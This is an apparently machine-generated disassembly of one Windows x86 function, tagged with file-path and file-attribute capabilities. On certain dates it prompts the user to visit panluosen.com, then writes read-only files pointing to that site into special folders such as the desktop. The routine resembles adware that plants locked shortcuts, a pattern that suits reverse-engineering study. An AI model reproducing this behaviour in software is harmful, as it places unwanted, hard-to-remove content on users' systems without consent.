Function at 0x41d02d
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbd0
push esi
push edi
mov word [ebp - 0x218], 0
xor eax, eax
mov dword [ebp - 0x216], eax
mov dword [ebp - 0x212], eax
mov dword [ebp - 0x20e], eax
mov word [ebp - 0x20a], ax
mov word [ebp - 0xa38], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0xa36]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x14
mov esi, str.C:Documents_and_SettingsAll_Users_
lea edi, [ebp - 0x628]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x6e
xor eax, eax
lea edi, [ebp - 0x5d8]
rep stosd dword es:[edi], eax
mov ecx, 0x17
mov esi, 0x445c10
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x6a
xor eax, eax
lea edi, [ebp - 0x3c2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x830], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x82e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x208], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x206]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [ebp - 0x212]
and edx, 0xffff
cmp edx, 0x1e
jne 0x41d404
push str.http:__ww.panluosen.com_
call fcn.0041cf69
test eax, eax
jne 0x41d171
cmp dword [0x456bf8], 0
je 0x41d14e
push 4
push 0x445c70
push str._fT
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x41d14c
push str.http:__ww.panluosen.com_
call fcn.0041ceed
jmp 0x41d171
push 4
push 0x445d08
push str._fT_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x41d171
push str.http:__ww.panluosen.com_
call fcn.0041ceed
mov word [ebp - 0xbc8], 0
mov ecx, 0x63
xor eax, eax
lea edi, [ebp - 0xbc6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xbcc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x41d1f0
lea ecx, [ebp - 0xbd0]
push ecx
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x41d1de
lea edx, [ebp - 0xbc8]
push edx
mov eax, dword [ebp - 0xbd0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov ecx, dword [ebp - 0xbd0]
push ecx
mov edx, dword [ebp - 0xbcc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xbcc]
push ecx
call dword [eax + 0x14]
mov edx, dword [ebp - 0xbcc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xbcc]
push ecx
call dword [eax + 8]
mov edx, dword [ebp - 0xbc8]
and edx, 0xffff
test edx, edx
je 0x41d226
lea eax, [ebp - 0xbc8]
push eax
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445da0
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov word [ebp - 0xbc8], 0
lea eax, [ebp - 0xbcc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x41d294
lea ecx, [ebp - 0xbd0]
push ecx
push 2
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x41d282
lea edx, [ebp - 0xbc8]
push edx
mov eax, dword [ebp - 0xbd0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov ecx, dword [ebp - 0xbd0]
push ecx
mov edx, dword [ebp - 0xbcc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xbcc]
push ecx
call dword [eax + 0x14]
mov edx, dword [ebp - 0xbcc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xbcc]
push ecx
call dword [eax + 8]
mov edx, dword [ebp - 0xbc8]
and edx, 0xffff
test edx, edx
je 0x41d2ca
lea eax, [ebp - 0xbc8]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445da4
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [0x456bf8], 0
je 0x41d2fb
push 0x445da8
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x41d30d
push 0x445db8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.http:__w.panluosen.com_
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xa38]
push ecx
push 0
lea edx, [ebp - 0x830]
push edx
call fcn.0041ce10
add esp, 0x14
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x420]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [0x456bf8], 0
je 0x41d397
push 0x445dc8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x41d3a9
push 0x445dd8
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.http:__w.panluosen.com_
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xa38]
push edx
push 0
lea eax, [ebp - 0x830]
push eax
call fcn.0041ce10
add esp, 0x14
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x41d432
mov edx, dword [ebp - 0x216]
and edx, 0xffff
cmp edx, 3
jne 0x41d432
mov eax, dword [ebp - 0x212]
and eax, 0xffff
cmp eax, 0xd
jne 0x41d432
push str.http:__w.panluosen.com_
call fcn.004302b9
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret